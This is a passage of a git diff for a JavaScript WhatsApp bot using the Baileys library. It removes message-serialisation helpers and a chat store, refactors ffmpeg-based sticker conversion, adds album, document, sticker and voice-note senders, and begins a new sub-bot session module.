- enumerable: true,
- },
- quoted: {
- get() {
- /**
- * @type {ReturnType}
- */
- const self = this
- const msg = self.msg
- const contextInfo = msg?.contextInfo
- const quoted = contextInfo?.quotedMessage
- if (!msg || !contextInfo || !quoted) return null
- const type = Object.keys(quoted)[0]
- let q = quoted[type]
- const text = typeof q === 'string' ? q : q.text
- return Object.defineProperties(JSON.parse(JSON.stringify(typeof q === 'string' ? { text: q } : q)), {
- mtype: {
- get() {
- return type
- },
- enumerable: true
- },
- mediaMessage: {
- get() {
- const Message = ((q.url || q.directPath) ? { ...quoted } : extractMessageContent(quoted)) || null
- if (!Message) return null
- const mtype = Object.keys(Message)[0]
- return MediaType.includes(mtype) ? Message : null
- },
- enumerable: true
- },
- mediaType: {
- get() {
- let message
- if (!(message = this.mediaMessage)) return null
- return Object.keys(message)[0]
- },
- enumerable: true,
- },
- id: {
- get() {
- return contextInfo.stanzaId
- },
- enumerable: true
- },
- chat: {
- get() {
- return contextInfo.remoteJid || self.chat
- },
- enumerable: true
- },
- isBaileys: {
- get() {
- return this.id?.length === 16 || this.id?.startsWith('3EB0') && this.id.length === 12 || false
- },
- enumerable: true
- },
- sender: {
- get() {
- return (contextInfo.participant || this.chat || '').decodeJid()
- },
- enumerable: true
- },
- fromMe: {
- get() {
- return areJidsSameUser(this.sender, self.conn?.user.jid)
- },
- enumerable: true,
- },
- text: {
- get() {
- return text || this.caption || this.contentText || this.selectedDisplayText || ''
- },
- enumerable: true
- },
- mentionedJid: {
- get() {
- return q.contextInfo?.mentionedJid || self.getQuotedObj()?.mentionedJid || []
- },
- enumerable: true
- },
- name: {
- get() {
- const sender = this.sender
- return sender ? self.conn?.getName(sender) : null
- },
- enumerable: true
+ await this.relayMessage(album.key.remoteJid, album.message, {
+ messageId: album.key.id
+ });
- },
- vM: {
- get() {
- return proto.WebMessageInfo.fromObject({
- key: {
- fromMe: this.fromMe,
- remoteJid: this.chat,
- id: this.id
- },
- message: quoted,
- ...(self.isGroup ? { participant: this.sender } : {})
- })
- }
- },
- fakeObj: {
- get() {
- return this.vM
- }
- },
- download: {
- value(saveToFile = false) {
- const mtype = this.mediaType
- return self.conn?.downloadM(this.mediaMessage[mtype], mtype.replace(/message/i, ''), saveToFile)
- },
- enumerable: true,
- configurable: true,
- },
- reply: {
- /**
- * Reply to quoted message
- * @param {String|Object} text
- * @param {String|false} chatId
- * @param {Object} options
- */
- value(text, chatId, options) {
- return self.conn?.reply(chatId ? chatId : this.chat, text, this.vM, options)
- },
- enumerable: true,
- },
- copy: {
- /**
- * Copy quoted message
- */
- value() {
- const M = proto.WebMessageInfo
- return smsg(conn, M.fromObject(M.toObject(this.vM)))
- },
- enumerable: true,
- },
- forward: {
- /**
- * Forward quoted message
- * @param {String} jid
- * @param {Boolean} forceForward
- */
- value(jid, force = false, options) {
- return self.conn?.sendMessage(jid, {
- forward: this.vM, force, ...options
- }, { ...options })
- },
- enumerable: true,
- },
- copyNForward: {
- /**
- * Exact Forward quoted message
- * @param {String} jid
- * @param {Boolean|Number} forceForward
- * @param {Object} options
- */
- value(jid, forceForward = false, options) {
- return self.conn?.copyNForward(jid, this.vM, forceForward, options)
- },
- enumerable: true,
+ for (let i = 0; i < medias.length; i++) {
+ const { type, data } = medias[i];
+ let mediaMessage;
- },
- cMod: {
- /**
- * Modify quoted Message
- * @param {String} jid
- * @param {String} text
- * @param {String} sender
- * @param {Object} options
- */
- value(jid, text = '', sender = this.sender, options = {}) {
- return self.conn?.cMod(jid, this.vM, text, sender, options)
- },
- enumerable: true,
+ const mediaPayload = {};
+ mediaPayload[type] = data;
+ if (i === 0 && caption) {
+ mediaPayload.caption = caption;
+ }
- },
- delete: {
- /**
- * Delete quoted message
- */
- value() {
- return self.conn?.sendMessage(this.chat, { delete: this.vM.key })
- },
- enumerable: true,
+ mediaMessage = await generateWAMessage(album.key.remoteJid, mediaPayload, {
+ upload: this.waUploadToServer
+ });
- },
- react: {
- value(text) {
- return self.conn?.sendMessage(this.chat, {
- react: {
- text,
- key: this.vM.key
- }
- })
- },
- enumerable: true,
- }
- })
- },
- enumerable: true
- },
- _text: {
- value: null,
- writable: true,
- },
- text: {
- get() {
- const msg = this.msg
- const text = (typeof msg === 'string' ? msg : msg?.text) || msg?.caption || msg?.contentText || ''
- return typeof this._text === 'string' ? this._text : '' || (typeof text === 'string' ? text : (
- text?.selectedDisplayText ||
- text?.hydratedTemplate?.hydratedContentText ||
- text
- )) || ''
- },
- set(str) {
- return this._text = str
- },
- enumerable: true
- },
- mentionedJid: {
- get() {
- return this.msg?.contextInfo?.mentionedJid?.length && this.msg.contextInfo.mentionedJid || []
- },
- enumerable: true
- },
- name: {
- get() {
- return !nullish(this.pushName) && this.pushName || this.conn?.getName(this.sender)
- },
- enumerable: true
- },
- download: {
- value(saveToFile = false) {
- const mtype = this.mediaType
- return this.conn?.downloadM(this.mediaMessage[mtype], mtype.replace(/message/i, ''), saveToFile)
- },
- enumerable: true,
- configurable: true
- },
- reply: {
- value(text, chatId, options) {
- return this.conn?.reply(chatId ? chatId : this.chat, text, this, options)
- }
- },
- copy: {
- value() {
- const M = proto.WebMessageInfo
- return smsg(this.conn, M.fromObject(M.toObject(this)))
- },
- enumerable: true
- },
- forward: {
- value(jid, force = false, options = {}) {
- return this.conn?.sendMessage(jid, {
- forward: this, force, ...options
- }, { ...options })
- },
- enumerable: true
- },
- copyNForward: {
- value(jid, forceForward = false, options = {}) {
- return this.conn?.copyNForward(jid, this, forceForward, options)
- },
- enumerable: true
- },
- cMod: {
- value(jid, text = '', sender = this.sender, options = {}) {
- return this.conn?.cMod(jid, this, text, sender, options)
- },
- enumerable: true
- },
- getQuotedObj: {
- value() {
- if (!this.quoted.id) return null
- const q = proto.WebMessageInfo.fromObject(this.conn?.loadMessage(this.quoted.id) || this.quoted.vM)
- return smsg(this.conn, q)
- },
- enumerable: true
- },
- getQuotedMessage: {
- get() {
- return this.getQuotedObj
- }
- },
- delete: {
- value() {
- return this.conn?.sendMessage(this.chat, { delete: this.key })
- },
- enumerable: true
-},
- react: {
- value(text) {
- return this.conn?.sendMessage(this.chat, {
- react: {
- text,
- key: this.key
- }
- })
- },
- enumerable: true
- }
- })
-}
+ mediaMessage.message.messageContextInfo = {
+ messageAssociation: {
+ associationType: 1,
+ parentMessageKey: album.key
+ }
+ };
-export function logic(check, inp, out) {
- if (inp.length !== out.length) throw new Error('Input and Output must have same length')
- for (let i in inp) if (util.isDeepStrictEqual(check, inp[i])) return out[i]
- return null
-}
+ await this.relayMessage(mediaMessage.key.remoteJid, mediaMessage.message, {
+ messageId: mediaMessage.key.id
+ });
+ }
-export function protoType() {
- Buffer.prototype.toArrayBuffer = function toArrayBufferV2() {
- const ab = new ArrayBuffer(this.length);
- const view = new Uint8Array(ab);
- for (let i = 0; i < this.length; ++i) {
- view[i] = this[i];
- }
- return ab;
- }
- /**
- * @returns {ArrayBuffer}
- */
- Buffer.prototype.toArrayBufferV2 = function toArrayBuffer() {
- return this.buffer.slice(this.byteOffset, this.byteOffset + this.byteLength)
- }
- /**
- * @returns {Buffer}
- */
- ArrayBuffer.prototype.toBuffer = function toBuffer() {
- return Buffer.from(new Uint8Array(this))
- }
- // /**
- // * @returns {String}
- // */
- // Buffer.prototype.toUtilFormat = ArrayBuffer.prototype.toUtilFormat = Object.prototype.toUtilFormat = Array.prototype.toUtilFormat = function toUtilFormat() {
- // return util.format(this)
- // }
- Uint8Array.prototype.getFileType = ArrayBuffer.prototype.getFileType = Buffer.prototype.getFileType = async function getFileType() {
- return await fileTypeFromBuffer(this)
- }
- /**
- * @returns {Boolean}
- */
- String.prototype.isNumber = Number.prototype.isNumber = isNumber
- /**
- *
- * @returns {String}
- */
- String.prototype.capitalize = function capitalize() {
- return this.charAt(0).toUpperCase() + this.slice(1, this.length)
- }
- /**
- * @returns {String}
- */
- String.prototype.capitalizeV2 = function capitalizeV2() {
- const str = this.split(' ')
- return str.map(v => v.capitalize()).join(' ')
- }
- String.prototype.decodeJid = function decodeJid() {
- if (/:\d+@/gi.test(this)) {
- const decode = jidDecode(this) || {}
- return (decode.user && decode.server && decode.user + '@' + decode.server || this).trim()
- } else return this.trim()
- }
- /**
- * number must be milliseconds
- * @returns {string}
- */
- Number.prototype.toTimeString = function toTimeString() {
- // const milliseconds = this % 1000
- const seconds = Math.floor((this / 1000) % 60)
- const minutes = Math.floor((this / (60 * 1000)) % 60)
- const hours = Math.floor((this / (60 * 60 * 1000)) % 24)
- const days = Math.floor((this / (24 * 60 * 60 * 1000)))
- return (
-(days ? `${days} ${lenguajeGB.smsAfkResultTime[0]} ` : '') + (hours ? `${hours} ${lenguajeGB.smsAfkResultTime[1]} ` : '') +
-(minutes ? `${minutes} ${lenguajeGB.smsAfkResultTime[2]} ` : '') + (seconds ? `${seconds} ${lenguajeGB.smsAfkResultTime[3]}` : '')).trim()
- }
- Number.prototype.getRandom = String.prototype.getRandom = Array.prototype.getRandom = getRandom
+ return album;
+};
+
+conn.sendDocument = async function (jid, path, filename = 'file', quoted = null, options = {}) {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo('', this);
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply);
+ delete options.contextInfo;
+
+ return this.sendMessage(jid, {
+ document: { url: path },
+ fileName: filename,
+ mimetype: 'application/octet-stream',
+ contextInfo,
+ ...options
+ }, { quoted });
+};
+
+ // Enviar sticker
+ conn.sendSticker = async (jid, path, quoted = null, options = {}) => {
+ const contextInfo = options.contextInfo ?? await defaultContextInfo('', conn)
+ if (contextInfo.externalAdReply) contextInfo.externalAdReply = formatExternalAdReply(contextInfo.externalAdReply)
+ delete options.contextInfo;
+
+ return conn.sendMessage(
+ jid,
+ {
+ sticker: typeof path === 'string' ? { url: path } : path,
+ contextInfo,
+ ...options
+ },
+ { quoted }
+ )
}
+ // Enviar nota de voz
+ conn.sendPtt = async (jid, path, quoted = null, options = {}) => {
+ const contextInfo = options.contextInfo || {};
+ delete options.contextInfo;
-function isNumber() {
- const int = parseInt(this)
- return typeof int === 'number' && !isNaN(int)
+ return conn.sendMessage(
+ jid,
+ {
+ audio: { url: path },
+ mimetype: "audio/ogg; codecs=opus",
+ ptt: true,
+ contextInfo,
+ ...options
+ },
+ { quoted }
+ );
+ };
+
+ return m;
}
-function getRandom() {
- if (Array.isArray(this) || this instanceof String) return this[Math.floor(Math.random() * this.length)]
- return Math.floor(Math.random() * this)
+function cleanJid(jid) {
+ if (!jid) return jid;
+ if (jid.includes('@lid')) return jid;
+ return jid.replace(/:\d+/, '').replace('@s.whatsapp.net', '') + '@s.whatsapp.net';
}
-
-/**
- * ??
- * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
- * @returns {boolean}
- */
-function nullish(args) {
- return !(args !== null && args !== undefined)
-}
+async function streamToBuffer(stream) {
+ const chunks = [];
+ for await (const chunk of stream) chunks.push(chunk);
+ return Buffer.concat(chunks);
+}
\ No newline at end of file
diff --git a/lib/sticker.js b/lib/sticker.js
index 20eefb5f7..7e564beb2 100644
--- a/lib/sticker.js
+++ b/lib/sticker.js
@@ -1,24 +1,20 @@
-import {dirname} from 'path';
-import {fileURLToPath} from 'url';
+import { dirname } from 'path';
+import { fileURLToPath } from 'url';
import * as fs from 'fs';
import * as path from 'path';
import * as crypto from 'crypto';
-import {ffmpeg} from './converter.js';
+import { ffmpeg } from './converter.js';
import fluent_ffmpeg from 'fluent-ffmpeg';
-import {spawn} from 'child_process';
+import { spawn } from 'child_process';
import uploadFile from './uploadFile.js';
import uploadImage from './uploadImage.js';
-import {fileTypeFromBuffer} from 'file-type';
+import { fileTypeFromBuffer } from 'file-type';
import webp from 'node-webpmux';
import fetch from 'node-fetch';
const __dirname = dirname(fileURLToPath(import.meta.url));
const tmp = path.join(__dirname, '../tmp');
-/**
- * Image to Sticker
- * @param {Buffer} img Image Buffer
- * @param {String} url Image URL
- */
+
function sticker2(img, url) {
return new Promise(async (resolve, reject) => {
try {
@@ -30,53 +26,32 @@ function sticker2(img, url) {
const inp = path.join(tmp, +new Date + '.jpeg');
await fs.promises.writeFile(inp, img);
const ff = spawn('ffmpeg', [
- '-y',
- '-i', inp,
+ '-y', '-i', inp,
'-vf', 'scale=512:512:flags=lanczos:force_original_aspect_ratio=decrease,format=rgba,pad=512:512:(ow-iw)/2:(oh-ih)/2:color=#00000000,setsar=1',
- '-f', 'png',
- '-',
+ '-f', 'png', '-'
]);
ff.on('error', reject);
ff.on('close', async () => {
await fs.promises.unlink(inp);
});
const bufs = [];
- const [_spawnprocess, ..._spawnargs] = [...(module.exports.support.gm ? ['gm'] : module.exports.magick ? ['magick'] : []), 'convert', 'png:-', 'webp:-'];
- const im = spawn(_spawnprocess, _spawnargs);
- im.on('error', (e) => conn.reply(m.chat, util.format(e), m));
- im.stdout.on('data', (chunk) => bufs.push(chunk));
+ const im = spawn('convert', ['png:-', 'webp:-']);
+ im.on('error', reject);
+ im.stdout.on('data', chunk => bufs.push(chunk));
ff.stdout.pipe(im.stdin);
- im.on('exit', () => {
- resolve(Buffer.concat(bufs));
- });
+ im.on('exit', () => resolve(Buffer.concat(bufs)));
} catch (e) {
reject(e);
}
});
}
-/**
- * Image/Video to Sticker
- * @param {Buffer} img Image/Video Buffer
- * @param {String} url Image/Video URL
- * @param {String} packname EXIF Packname
- * @param {String} author EXIF Author
- */
async function sticker3(img, url, packname, author) {
url = url ? url : await uploadFile(img);
- const res = await fetch('https://api.xteam.xyz/sticker/wm?' + new URLSearchParams(Object.entries({
- url,
- packname,
- author,
- })));
+ const res = await fetch('https://api.xteam.xyz/sticker/wm?' + new URLSearchParams({ url, packname, author }));
return await res.buffer();
}
-/**
- * Image to Sticker
- * @param {Buffer} img Image/Video Buffer
- * @param {String} url Image/Video URL
- */
async function sticker4(img, url) {
if (url) {
const res = await fetch(url);
@@ -84,76 +59,108 @@ async function sticker4(img, url) {
img = await res.buffer();
}
return await ffmpeg(img, [
- '-vf', 'scale=512:512:flags=lanczos:force_original_aspect_ratio=decrease,format=rgba,pad=512:512:(ow-iw)/2:(oh-ih)/2:color=#00000000,setsar=1',
+ '-vf', 'scale=512:512:flags=lanczos:force_original_aspect_ratio=decrease,format=rgba,pad=512:512:(ow-iw)/2:(oh-ih)/2:color=#00000000,setsar=1'
], 'jpeg', 'webp');
}
async function sticker5(img, url, packname, author, categories = [''], extra = {}) {
- const {Sticker} = await import('wa-sticker-formatter');
- const stickerMetadata = {
- type: 'default',
- pack: packname,
- author,
- categories,
- ...extra,
- };
+ const { Sticker } = await import('wa-sticker-formatter');
+ const stickerMetadata = { type: 'default', pack: packname, author, categories, ...extra };
return (new Sticker(img ? img : url, stickerMetadata)).toBuffer();
}
-/**
- * Convert using fluent-ffmpeg
- * @param {string} img
- * @param {string} url
- */
-function sticker6(img, url) {
+async function sticker6(img, url) {
return new Promise(async (resolve, reject) => {
- if (url) {
- const res = await fetch(url);
- if (res.status !== 200) throw await res.text();
- img = await res.buffer();
- }
- const type = await fileTypeFromBuffer(img) || {
- mime: 'application/octet-stream',
- ext: 'bin',
- };
- if (type.ext == 'bin') reject(img);
- const tmp = path.join(__dirname, `../tmp/${+ new Date()}.${type.ext}`);
- const out = path.join(tmp + '.webp');
- await fs.promises.writeFile(tmp, img);
- // https://github.com/MhankBarBar/termux-wabot/blob/main/index.js#L313#L368
- const Fffmpeg = /video/i.test(type.mime) ? fluent_ffmpeg(tmp).inputFormat(type.ext) : fluent_ffmpeg(tmp).input(tmp);
- Fffmpeg
- .on('error', function(err) {
- console.error(err);
- fs.promises.unlink(tmp);
- reject(img);
+ try {
+ if (url) {
+ const res = await fetch(url);
+ if (res.status !== 200) throw await res.text();
+ img = await res.buffer();
+ }
+
+ const { ext = 'mp4' } = await fileTypeFromBuffer(img) || {};
+ const inputPath = path.join(tmp, `input_${Date.now()}.${ext}`);
+ const outputPath = path.join(tmp, `output_${Date.now()}.webp`);
+
+ await fs.promises.writeFile(inputPath, img);
+
+ fluent_ffmpeg(inputPath)
+ .inputOptions('-t', '6') // cortar a 6s por si es largo
+ .outputOptions([
+ '-vcodec', 'libwebp',
+ '-vf', 'scale=512:512:force_original_aspect_ratio=decrease,fps=15,pad=512:512:-1:-1:color=white@0.0',
+ '-loop', '0',
+ '-preset', 'default',
+ '-an',
+ '-vsync', '0'
+ ])
+ .toFormat('webp')
+ .on('end', async () => {
+ const buffer = await fs.promises.readFile(outputPath);
+ await fs.promises.unlink(inputPath);
+ await fs.promises.unlink(outputPath);
+ resolve(buffer);
})
- .on('end', async function() {
- fs.promises.unlink(tmp);
- resolve(await fs.promises.readFile(out));
+ .on('error', async err => {
+ console.error('❌ ffmpeg video error:', err);
+ await fs.promises.unlink(inputPath).catch(() => {});
+ reject(err);
})
- .addOutputOptions([
- `-vcodec`, `libwebp`, `-vf`,
- `scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse`,
+ .save(outputPath);
+ } catch (err) {
+ reject(err);
+ }
+ });
+}
+
+async function sticker7(img, url) {
+ return new Promise(async (resolve, reject) => {
+ try {
+ if (url) {
+ const res = await fetch(url);
+ if (res.status !== 200) throw await res.text();
+ img = await res.buffer();
+ }
+
+ const { ext = 'mp4' } = await fileTypeFromBuffer(img) || {};
+ const inputPath = path.join(tmp, `input_${Date.now()}.${ext}`);
+ const outputPath = path.join(tmp, `output_${Date.now()}.webp`);
+
+ await fs.promises.writeFile(inputPath, img);
+
+ fluent_ffmpeg(inputPath)
+ .inputOptions('-t', '5') // recorta a máximo 5s
+ .outputOptions([
+ '-vcodec', 'libwebp',
+ '-vf', 'scale=320:320:force_original_aspect_ratio=decrease,fps=10',
+ '-loop', '0',
+ '-preset', 'default',
+ '-an',
+ '-vsync', '0'
])
.toFormat('webp')
- .save(out);
+ .on('end', async () => {
+ const buffer = await fs.promises.readFile(outputPath);
+ await fs.promises.unlink(inputPath);
+ await fs.promises.unlink(outputPath);
+ resolve(buffer);
+ })
+ .on('error', async err => {
+ console.error('❌ ffmpeg video error (sticker7):', err);
+ await fs.promises.unlink(inputPath).catch(() => {});
+ reject(err);
+ })
+ .save(outputPath);
+ } catch (err) {
+ reject(err);
+ }
});
}
-/**
- * Add WhatsApp JSON Exif Metadata
- * Taken from https://github.com/pedroslopez/whatsapp-web.js/pull/527/files
- * @param {Buffer} webpSticker
- * @param {String} packname
- * @param {String} author
- * @param {String} categories
- * @param {Object} extra
- * @returns
- */
+
async function addExif(webpSticker, packname, author, categories = [''], extra = {}) {
const img = new webp.Image();
const stickerPackId = crypto.randomBytes(32).toString('hex');
- const json = {'sticker-pack-id': stickerPackId, 'sticker-pack-name': packname, 'sticker-pack-publisher': author, 'emojis': categories, ...extra};
+ const json = { 'sticker-pack-id': stickerPackId, 'sticker-pack-name': packname, 'sticker-pack-publisher': author, 'emojis': categories, ...extra };
const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]);
const jsonBuffer = Buffer.from(JSON.stringify(json), 'utf8');
const exif = Buffer.concat([exifAttr, jsonBuffer]);
@@ -163,56 +170,47 @@ async function addExif(webpSticker, packname, author, categories = [''], extra =
return await img.save(null);
}
-/**
- * Image/Video to Sticker
- * @param {Buffer} img Image/Video Buffer
- * @param {String} url Image/Video URL
- * @param {...String}
-*/
-async function sticker(img, url, ...args) {
- let lastError; let stiker;
- for (const func of [
- sticker3, global.support.ffmpeg && sticker6, sticker5,
- global.support.ffmpeg && global.support.ffmpegWebp && sticker4,
- global.support.ffmpeg && (global.support.convert || global.support.magick || global.support.gm) && sticker2,
- ].filter((f) => f)) {
+async function sticker(img, url, packname, author) {
+ let lastError, stiker;
+ for (const fn of [sticker6, sticker7, sticker5, sticker4, sticker2, sticker3]) {
+
try {
- stiker = await func(img, url, ...args);
- if (stiker.includes('html')) continue;
- if (stiker.includes('WEBP')) {
- try {
- return await addExif(stiker, ...args);
- } catch (e) {
- console.error(e);
- return stiker;
+ stiker = await fn(img, url, packname, author);
+
+ if (Buffer.isBuffer(stiker)) {
+
+ if (stiker.includes('WEBP')) {
+ try {
+ const conExif = await addExif(stiker, packname, author);
+ if (Buffer.isBuffer(conExif) && conExif.length > 100) return conExif;
+ } catch (e) {
+ console.error(e);
+ return stiker;
+ }
}
+ if (stiker.length > 100) return stiker;
+ }
+
+ if (typeof stiker === 'string' && stiker.includes('html')) {
+ continue;
}
- throw stiker.toString();
+
} catch (err) {
+ console.error(`❌ Error en ${fn.name}:`, err);
lastError = err;
- continue;
}
}
+
console.error(lastError);
- return lastError;
+ throw lastError || new Error('No se pudo generar el sticker');
}
-const support = {
- ffmpeg: true,
- ffprobe: true,
- ffmpegWebp: true,
- convert: true,
- magick: false,
- gm: false,
- find: false,
-};
-
export {
sticker,
sticker2,
sticker3,
sticker4,
+ sticker5,
sticker6,
- addExif,
- support,
+ addExif
};
diff --git a/lib/store.js b/lib/store.js
deleted file mode 100644
index 496f4fc94..000000000
--- a/lib/store.js
+++ /dev/null
@@ -1,228 +0,0 @@
-import {readFileSync, writeFileSync, existsSync} from 'fs';
-
-/**
- * @type {import('@whiskeysockets/baileys')}
- */
-const {initAuthCreds, BufferJSON, proto} = (await import('@whiskeysockets/baileys')).default;
-
-/**
- * @param {import('@whiskeysockets/baileys').WASocket | import('@whiskeysockets/baileys').WALegacySocket}
- */
-function bind(conn) {
- if (!conn.chats) conn.chats = {};
- /**
- *
- * @param {import('@whiskeysockets/baileys').Contact[]|{contacts:import('@whiskeysockets/baileys').Contact[]}} contacts
- * @returns
- */
- function updateNameToDb(contacts) {
- if (!contacts) return;
- try {
- contacts = contacts.contacts || contacts;
- for (const contact of contacts) {
- const id = conn.decodeJid(contact.id);
- if (!id || id === 'status@broadcast') continue;
- let chats = conn.chats[id];
- if (!chats) chats = conn.chats[id] = {...contact, id};
- conn.chats[id] = {
- ...chats,
- ...({
- ...contact, id, ...(id.endsWith('@g.us') ?
- {subject: contact.subject || contact.name || chats.subject || ''} :
- {name: contact.notify || contact.name || chats.name || chats.notify || ''}),
- } || {}),
- };
- }
- } catch (e) {
- console.error(e);
- }
- }
- conn.ev.on('contacts.upsert', updateNameToDb);
- conn.ev.on('groups.update', updateNameToDb);
- conn.ev.on('contacts.set', updateNameToDb);
- conn.ev.on('chats.set', async ({chats}) => {
- try {
- for (let {id, name, readOnly} of chats) {
- id = conn.decodeJid(id);
- if (!id || id === 'status@broadcast') continue;
- const isGroup = id.endsWith('@g.us');
- let chats = conn.chats[id];
- if (!chats) chats = conn.chats[id] = {id};
- chats.isChats = !readOnly;
- if (name) chats[isGroup ? 'subject' : 'name'] = name;
- if (isGroup) {
- const metadata = await conn.groupMetadata(id).catch((_) => null);
- if (name || metadata?.subject) chats.subject = name || metadata.subject;
- if (!metadata) continue;
- chats.metadata = metadata;
- }
- }
- } catch (e) {
- console.error(e);
- }
- });
- conn.ev.on('group-participants.update', async function updateParticipantsToDb({id, participants, action}) {
- if (!id) return;
- id = conn.decodeJid(id);
- if (id === 'status@broadcast') return;
- if (!(id in conn.chats)) conn.chats[id] = {id};
- const chats = conn.chats[id];
- chats.isChats = true;
- const groupMetadata = await conn.groupMetadata(id).catch((_) => null);
- if (!groupMetadata) return;
- chats.subject = groupMetadata.subject;
- chats.metadata = groupMetadata;
- });
-
- conn.ev.on('groups.update', async function groupUpdatePushToDb(groupsUpdates) {
- try {
- for (const update of groupsUpdates) {
- const id = conn.decodeJid(update.id);
- if (!id || id === 'status@broadcast') continue;
- const isGroup = id.endsWith('@g.us');
- if (!isGroup) continue;
- let chats = conn.chats[id];
- if (!chats) chats = conn.chats[id] = {id};
- chats.isChats = true;
- const metadata = await conn.groupMetadata(id).catch((_) => null);
- if (metadata) chats.metadata = metadata;
- if (update.subject || metadata?.subject) chats.subject = update.subject || metadata.subject;
- }
- } catch (e) {
- console.error(e);
- }
- });
- conn.ev.on('chats.upsert', function chatsUpsertPushToDb(chatsUpsert) {
- try {
- const {id, name} = chatsUpsert;
- if (!id || id === 'status@broadcast') return;
- conn.chats[id] = {...(conn.chats[id] || {}), ...chatsUpsert, isChats: true};
- const isGroup = id.endsWith('@g.us');
- if (isGroup) conn.insertAllGroup().catch((_) => null);
- } catch (e) {
- console.error(e);
- }
- });
- conn.ev.on('presence.update', async function presenceUpdatePushToDb({id, presences}) {
- try {
- const sender = Object.keys(presences)[0] || id;
- const _sender = conn.decodeJid(sender);
- const presence = presences[sender]['lastKnownPresence'] || 'composing';
- let chats = conn.chats[_sender];
- if (!chats) chats = conn.chats[_sender] = {id: sender};
- chats.presences = presence;
- if (id.endsWith('@g.us')) {
- let chats = conn.chats[id];
- if (!chats) chats = conn.chats[id] = {id};
- }
- } catch (e) {
- console.error(e);
- }
- });
-}
-
-const KEY_MAP = {
- 'pre-key': 'preKeys',
- 'session': 'sessions',
- 'sender-key': 'senderKeys',
- 'app-state-sync-key': 'appStateSyncKeys',
- 'app-state-sync-version': 'appStateVersions',
- 'sender-key-memory': 'senderKeyMemory',
-};
-
-/**
- *
- * @param {String} filename
- * @param {import('pino').Logger} logger
- * @returns
- */
-function useSingleFileAuthState(filename, logger) {
- let creds; let keys = {}; let saveCount = 0;
- // save the authentication state to a file
- const saveState = (forceSave) => {
- logger?.trace('saving auth state');
- saveCount++;
- if (forceSave || saveCount > 5) {
- writeFileSync(
- filename,
- // BufferJSON replacer utility saves buffers nicely
- JSON.stringify({creds, keys}, BufferJSON.replacer, 2),
- );
- saveCount = 0;
- }
- };
-
- if (existsSync(filename)) {
- const result = JSON.parse(
- readFileSync(filename, {encoding: 'utf-8'}),
- BufferJSON.reviver,
- );
- creds = result.creds;
- keys = result.keys;
- } else {
- creds = initAuthCreds();
- keys = {};
- }
-
- return {
- state: {
- creds,
- keys: {
- get: (type, ids) => {
- const key = KEY_MAP[type];
- return ids.reduce(
- (dict, id) => {
- let value = keys[key]?.[id];
- if (value) {
- if (type === 'app-state-sync-key') {
- value = proto.AppStateSyncKeyData.fromObject(value);
- }
-
- dict[id] = value;
- }
-
- return dict;
- }, {},
- );
- },
- set: (data) => {
- for (const _key in data) {
- const key = KEY_MAP[_key];
- keys[key] = keys[key] || {};
- Object.assign(keys[key], data[_key]);
- }
-
- saveState();
- },
- },
- },
- saveState,
- };
-}
-function loadMessage(jid, id = null) {
- let message = null;
- // If only 1 param, first param is assumed to be id not jid
- if (jid && !id) {
- id = jid;
- /** @type {(m: import('@whiskeysockets/baileys').proto.WebMessageInfo) => Boolean} */
- const filter = (m) => m.key?.id == id;
- const messages = {};
- const messageFind = Object.entries(messages)
- .find(([, msgs]) => {
- return msgs.find(filter);
- });
- message = messageFind?.[1]?.find(filter);
- } else {
- // @ts-ignore
- jid = jid?.decodeJid?.();
- const messages = {};
- if (!(jid in messages)) return null;
- message = messages[jid].find((m) => m.key.id == id);
- }
- return message ? message : null;
-}
-export default {
- bind,
- useSingleFileAuthState,
- loadMessage,
-};
diff --git a/lib/subbot.js b/lib/subbot.js
new file mode 100644
index 000000000..4214da5a4
--- /dev/null
+++ b/lib/subbot.js
@@ -0,0 +1,202 @@
+import {
+ makeWASocket,
+ useMultiFileAuthState,
+ fetchLatestBaileysVersion,
+ makeCacheableSignalKeyStore,
+ DisconnectReason
+} from '@whiskeysockets/baileys';
+import { Boom } from '@hapi/boom';
+import pino from 'pino';
+import fs from 'fs';
+import qrcode from 'qrcode';
+import chalk from "chalk";
+import NodeCache from 'node-cache';
+import { handler, callUpdate, participantsUpdate, groupsUpdate } from '../handler.js';
+
+if (globalThis.conns instanceof Array) console.log()
+else globalThis.conns = []
+
+const cleanJid = (jid = "") => jid.replace(/:\d+/, "").split("@")[0];
+const msgRetryCounterCache = new NodeCache({ stdTTL: 0, checkperiod: 0 });
+const userDevicesCache = new NodeCache({ stdTTL: 0, checkperiod: 0 });
+const groupCache = new NodeCache({ stdTTL: 3600, checkperiod: 300 });
+let reintentos = {};
+
+export async function startSubBot(m, conn, caption = '', isCode = false, phone = '', chatId = '', commandFlags = {}) {
+const id = phone || (m?.sender || '').split('@')[0];
+const sessionFolder = `./jadibot/${id}`;
+const senderId = m?.sender;
+const { state, saveCreds } = await useMultiFileAuthState(sessionFolder);
+const { version } = await fetchLatestBaileysVersion();
+
+console.info = () => {}
+const sock = makeWASocket({
+ logger: pino({ level: 'silent' }),
+ printQRInTerminal: false,
+ browser: ['Windows', 'Chrome'],
+ auth: state,
+ markOnlineOnConnect: true,
+ generateHighQualityLinkPreview: true,
+ syncFullHistory: false,
+ getMessage: async () => '',
+ msgRetryCounterCache,
+ userDevicesCache,
+ cachedGroupMetadata: async (jid) => groupCache.get(jid),
+ version,
+ keepAliveIntervalMs: 60_000,
+ maxIdleTimeMs: 120_000,
+});
+/*const sock = makeWASocket({
+logger: pino({ level: "silent" }),
+printQRInTerminal: false,
+browser: ['Windows', 'Chrome'],
+auth: { creds: state.creds, keys: makeCacheableSignalKeyStore(state.keys, pino({ level: 'silent' })) },
+markOnlineOnConnect: true,
+generateHighQualityLinkPreview: true,
+syncFullHistory: false,
+getMessage: async () => "",
+msgRetryCounterCache,
+userDevicesCache,
+cachedGroupMetadata: async (jid) => groupCache.get(jid),
+version,
+keepAliveIntervalMs: 55000,
+maxIdleTimeMs: 60000
+});*/
+
+sock.ev.on('creds.update', saveCreds);
+setupGroupEvents(sock);
+sock.isInit = false
+let isInit = true
+
